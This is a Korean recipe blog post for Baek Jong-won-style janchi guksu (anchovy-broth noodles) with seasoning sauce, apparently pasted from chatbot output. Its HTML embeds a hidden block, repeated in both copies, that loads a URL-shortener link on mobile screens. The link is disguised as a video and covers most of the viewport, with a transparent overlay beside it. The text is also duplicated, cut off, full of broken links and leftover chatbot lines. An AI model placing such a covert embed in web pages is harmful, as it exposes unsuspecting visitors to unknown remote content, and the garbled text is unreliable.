백종원 잔치국수 만들기 멸치국수 육수 잔치국수 양념장

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">백종원표 잔치국수, 집에서 간단하게 즐겨보세요!</h2><p data-sourcepos="3:1-3:110">백종원 선생님의 레시피로 만든 잔치국수는 그야말로 집밥의 정석이죠! 깊고 진한 멸치 육수에 쫄깃한 소면, 그리고 매콤달콤한 양념장까지! 지금부터 백종원표 잔치국수 만드는 법을 자세히 알려드릴게요.</p><h3 data-sourcepos="5:1-5:16">1. 멸치 육수 만들기</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:27"><strong>재료:</strong> 멸치, 다시마, 무, 대파, 물</li> <li data-sourcepos="8:1-12:0"><strong>만드는 법:</strong> <ol data-sourcepos="9:5-12:0"> <li data-sourcepos="9:5-9:38">냄비에 물을 넉넉하게 붓고 다시마를 먼저 넣어 끓입니다.</li> <li data-sourcepos="10:5-10:49">다시마가 끓어오르면 건져내고, 멸치를 넣어 중불에서 10분 정도 우려냅니다.</li> <li data-sourcepos="11:5-12:0">무와 대파를 넣고 5분 정도 더 끓인 후 불을 끄고 육수를 식혀줍니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6948771"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="멸치 육수 만들기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQjG0K9cQzpDICwj1srzDhMDo1DcCKvyllegTkQh0j_9H-qxYGign0UtoGfOwm_"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6948771" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 멸치 육수 만들기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="15:1-15:14">2. 양념장 만들기</h3><ul data-sourcepos="17:1-21:0"> <li data-sourcepos="17:1-17:40"><strong>재료:</strong> 고춧가루, 진간장, 다진 마늘, 설탕, 참기름, 깨소금</li> <li data-sourcepos="18:1-21:0"><strong>만드는 법:</strong> <ol data-sourcepos="19:5-21:0"> <li data-sourcepos="19:5-19:28">볼에 모든 재료를 넣고 잘 섞어줍니다.</li> <li data-sourcepos="20:5-21:0">취향에 따라 청양고추를 넣어 매콤하게 만들 수 있습니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6851984"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="양념장 만들기 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSKZwfkFw3oomMcm6BP86_TvtFXLvp0KZdxDt5Bk_fS97_BaZvveU-1T6t7Naw0"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6851984" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양념장 만들기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="24:1-24:12">3. 소면 삶기</h3><ul data-sourcepos="26:1-30:0"> <li data-sourcepos="26:1-26:16"><strong>재료:</strong> 소면, 소금</li> <li data-sourcepos="27:1-30:0"><strong>만드는 법:</strong> <ol data-sourcepos="28:5-30:0"> <li data-sourcepos="28:5-28:37">끓는 물에 소면을 넣고 봉투에 적힌 시간만큼 삶습니다.</li> <li data-sourcepos="29:5-30:0">찬물에 헹궈 물기를 빼줍니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://wtable./guide/63099"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="소면 삶기 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcRg4SaYaucCZ1-E2dPwnXebqK54b7QsntJ16CXU8sXUwKILjuEgRnPG1RBnPULM"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./guide/63099" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소면 삶기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="33:1-33:14">4. 잔치국수 완성</h3><ul data-sourcepos="35:1-37:0"> <li data-sourcepos="35:1-35:26">삶은 소면을 그릇에 담고 육수를 부어줍니다.</li> <li data-sourcepos="36:1-37:0">취향에 따라 양념장을 넣고 고명을 올려 먹습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=yYn6jsPqmZE"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="잔치국수 완성 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcT0XtFpW5Gbhewwdf9lpA-mVxuiTtepNwngHBdQpMfGjrHtPH72aa4jgWbBQmZ4"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=yYn6jsPqmZE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_03550dce24e9b099&quot;,&quot;c_e9b39d8cfb6b67e5&quot;,null,&quot;rc_e0f7b518a540009b&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 잔치국수 완성 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="40:1-40:17">잔치국수에 어울리는 고명</h3><ul data-sourcepos="42:1-47:0"> <li data-sourcepos="42:1-42:5">김가루</li> <li data-sourcepos="43:1-43:7">계란 지단</li> <li data-sourcepos="44:1-44:8">채 썬 호박</li> <li data-sourcepos="45:1-45:4">부추</li> <li data-sourcepos="46:1-47:0">쪽파 등</li> </ul><h3 data-sourcepos="48:1-48:16">백종원표 잔치국수 꿀팁</h3><ul data-sourcepos="50:1-53:0"> <li data-sourcepos="50:1-50:48">육수는 멸치 외에도 다시마, 표고버섯 등을 추가하여 더욱 풍미를 더할 수 있습니다.</li> <li data-sourcepos="51:1-51:45">양념장의 매운 정도는 고춧가루의 양을 조절하여 입맛에 맞게 만들 수 있습니다.</li> <li data-sourcepos="52:1-53:0">면을 삶을 때 소금을 약간 넣으면 면이 더욱 쫄깃해집니다.</li> </ul><p data-sourcepos="54:1-54:47"><strong>백종원 선생님의 레시피를 참고하여 간단하게 집에서 잔치국수를 만들어 보세요!</strong></p><p data-sourcepos="56:1-56:62"><em>백종원 잔치국수 레시피는 다양한 방법으로 응용할 수 있습니다. 여러분만의 특별한 잔치국수를 만들어 보세요!</em></p><p data-sourcepos="58:1-58:98"><strong>[주의]</strong> 위 레시피는 일반적인 가정에서 쉽게 따라 할 수 있도록 간략하게 정리된 것입니다. 더 자세한 레시피는 백종원 유튜브 채널이나 관련 블로그를 참고하시기 바랍니다.</p><p data-sourcepos="60:1-60:42"><strong>[어]</strong> 백종원 잔치국수, 멸치국수, 잔치국수 양념장, 집밥 레시피</p><p data-sourcepos="62:1-62:38"><strong>[해시태그]</strong> 백종원레시피 잔치국수 멸치국수 집밥 요리</p><p data-sourcepos="64:1-64:33"><strong>[관련 영상]</strong> 백종원 잔치국수 만들기 (유튜브 )</p><p data-sourcepos="66:1-66:75"><strong>[참고]</strong> 위에 제시된 은 예시이며, 실제 은 엔진에서 '백종원 잔치국수' 등으로 하여 확인할 수 있습니다.</p><p data-sourcepos="68:1-68:33"><strong>이 외에 궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><hr data-sourcepos="70:1-70:3"><p data-sourcepos="72:1-72:42"><strong>이 글에 대한 추가적인 요청 사항이 있으시면 언제든지 말씀해주세요.</strong></p><ul data-sourcepos="74:1-78:0"> <li data-sourcepos="74:1-74:52"><strong>다른 레시피:</strong> 백종원 선생님의 다른 레시피를 알고 싶으시다면 언제든지 요청해주세요.</li> <li data-sourcepos="75:1-75:48"><strong>요리 팁:</strong> 요리 초보자를 위한 더 자세한 설명이나 팁을 원하시면 알려주세요.</li> <li data-sourcepos="76:1-76:62"><strong>재료 대체:</strong> 특정 재료를 구하기 어려울 경우 대체할 수 있는 재료에 대해 궁금하시다면 질문해주세요.</li> <li data-sourcepos="77:1-78:0"><strong>다른 음식과의 조합:</strong> 잔치국수와 잘 어울리는 반찬이나 음식에 대한 정보를 원하시면 알려주세요.</li> </ul><p data-sourcepos="79:1-79:30"><strong>최대한 상세하고 친절하게 답변해 드리겠습니다.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">백종원표 잔치국수, 집에서 간단하게 즐겨보세요!</h2><p data-sourcepos="3:1-3:110">백종원 선생님의 레시피로 만든 잔치국수는 그야말로 집밥의 정석이죠! 깊고 진한 멸치 육수에 쫄깃한 소면, 그리고 매콤달콤한 양념장까지! 지금부터 백종원표 잔치국수 만드는 법을 자세히 알려드릴게요.</p><h3 data-sourcepos="5:1-5:16">1. 멸치 육수 만들기</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:27"><strong>재료:</strong> 멸치, 다시마, 무, 대파, 물</li> <li data-sourcepos="8:1-12:0"><strong>만드는 법:</strong> <ol data-sourcepos="9:5-12:0"> <li data-sourcepos="9:5-9:38">냄비에 물을 넉넉하게 붓고 다시마를 먼저 넣어 끓입니다.</li> <li data-sourcepos="10:5-10:49">다시마가 끓어오르면 건져내고, 멸치를 넣어 중불에서 10분 정도 우려냅니다.</li> <li data-sourcepos="11:5-12:0">무와 대파를 넣고 5분 정도 더 끓인 후 불을 끄고 육수를 식혀줍니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6948771"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="멸치 육수 만들기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQjG0K9cQzpDICwj1srzDhMDo1DcCKvyllegTkQh0j_9H-qxYGign0UtoGfOwm_"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6948771" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 멸치 육수 만들기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="15:1-15:14">2. 양념장 만들기</h3><ul data-sourcepos="17:1-21:0"> <li data-sourcepos="17:1-17:40"><strong>재료:</strong> 고춧가루, 진간장, 다진 마늘, 설탕, 참기름, 깨소금</li> <li data-sourcepos="18:1-21:0"><strong>만드는 법:</strong> <ol data-sourcepos="19:5-21:0"> <li data-sourcepos="19:5-19:28">볼에 모든 재료를 넣고 잘 섞어줍니다.</li> <li data-sourcepos="20:5-21:0">취향에 따라 청양고추를 넣어 매콤하게 만들 수 있습니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6851984"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="양념장 만들기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSKZwfkFw3oomMcm6BP86_TvtFXLvp0KZdxDt5Bk_fS97_BaZvveU-1T6t7Naw0"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6851984" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 양념장 만들기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="24:1-24:12">3. 소면 삶기</h3><ul data-sourcepos="26:1-30:0"> <li data-sourcepos="26:1-26:16"><strong>재료:</strong> 소면, 소금</li> <li data-sourcepos="27:1-30:0"><strong>만드는 법:</strong> <ol data-sourcepos="28:5-30:0"> <li data-sourcepos="28:5-28:37">끓는 물에 소면을 넣고 봉투에 적힌 시간만큼 삶습니다.</li> <li data-sourcepos="29:5-30:0">찬물에 헹궈 물기를 빼줍니다.</li> </ol> </li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://wtable./guide/63099"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="소면 삶기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRg4SaYaucCZ1-E2dPwnXebqK54b7QsntJ16CXU8sXUwKILjuEgRnPG1RBnPULM"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://wtable./guide/63099" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSplMbeWaIJb_u15wME2OjJosivXTp4AJvg9HovE3o-ttouKAD-S_Ilj7FFZ5ir1o0Q8d5HZEC7nzP6Ro2yIK1iyFDZcY0W"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">wtable.</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 소면 삶기 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="33:1-33:14">4. 잔치국수 완성</h3><ul data-sourcepos="35:1-37:0"> <li data-sourcepos="35:1-35:26">삶은 소면을 그릇에 담고 육수를 부어줍니다.</li> <li data-sourcepos="36:1-37:0">취향에 따라 양념장을 넣고 고명을 올려 먹습니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=yYn6jsPqmZE"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="잔치국수 완성 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT0XtFpW5Gbhewwdf9lpA-mVxuiTtepNwngHBdQpMfGjrHtPH72aa4jgWbBQmZ4"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=yYn6jsPqmZE" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_03550dce24e9b099","c_e9b39d8cfb6b67e5",null,"rc_e0f7b518a540009b",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 잔치국수 완성 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="40:1-40:17">잔치국수에 어울리는 고명</h3><ul data-sourcepos="42:1-47:0"> <li data-sourcepos="42:1-42:5">김가루</li> <li data-sourcepos="43:1-43:7">계란 지단</li> <li data-sourcepos="44:1-44:8">채 썬 호박</li> <li data-sourcepos="45:1-45:4">부추</li> <li data-sourcepos="46:1-47:0">쪽파 등</li> </ul><h3 data-sourcepos="48:1-48:16">백종원표 잔치국수 꿀팁</h3><ul data-sourcepos="50:1-53:0"> <li data-sourcepos="50:1-50:48">육수는 멸치 외에도 다시마, 표고버섯 등을 추가하여 더욱 풍미를 더할 수 있습니다.</li> <li data-sourcepos="51:1-51:45">양념장의 매운 정도는 고춧가루의 양을 조절하여 입맛에 맞게 만들 수 있습니다.</li> <li data-sourcepos="52:1-53:0">면을 삶을 때 소금을 약간 넣으면 면이 더욱 쫄깃해집니다.</li> </ul><p data-sourcepos="54:1-54:47"><strong>백종원 선생님의 레시피를 참고하여 간단하게 집에서 잔치국수를 만들어 보세요!</strong></p><p data-sourcepos="56:1-56:62"><em>백종원 잔치국수 레시피는 다양한 방법으로 응용할 수 있습니다. 여러분만의 특별한 잔치국수를 만들어 보세요!</em></p><p data-sourcepos="58:1-58:98"><strong>[주의]</strong> 위 레시피는 일반적인 가정에서 쉽게 따라 할 수 있도록 간략하게 정리된 것입니다. 더 자세한 레시피는 백종원 유튜브 채널이나 관련 블로그를 참고하시기 바랍니다.</p><p data-sourcepos="60:1-60:42"><strong>[어]</strong> 백종원 잔치국수, 멸치국수, 잔치국수 양념장, 집밥 레시피</p><p data-sourcepos="62:1-62:38"><strong>[해시태그]</strong> 백종원레시피 잔치국수 멸치국수 집밥 요리</p><p data-sourcepos="64:1-64:33"><strong>[관련 영상]</strong> 백종원 잔치국수 만들기 (유튜브 )</p><p data-sourcepos="66:1-66:75"><strong>[참고]</strong> 위에 제시된 은 예시이며, 실제 은 엔진에서 '백종원 잔치국수' 등으로 하여 확인할 수 있습니다.</p><p data-sourcepos="68:1-68:33"><strong>이 외에 궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><hr data-sourcepos="70:1-70:3"><p data-sourcepos="72:1-72:42"><strong>이 글에 대한 추가적인 요청 사항이 있으시면 언제든지 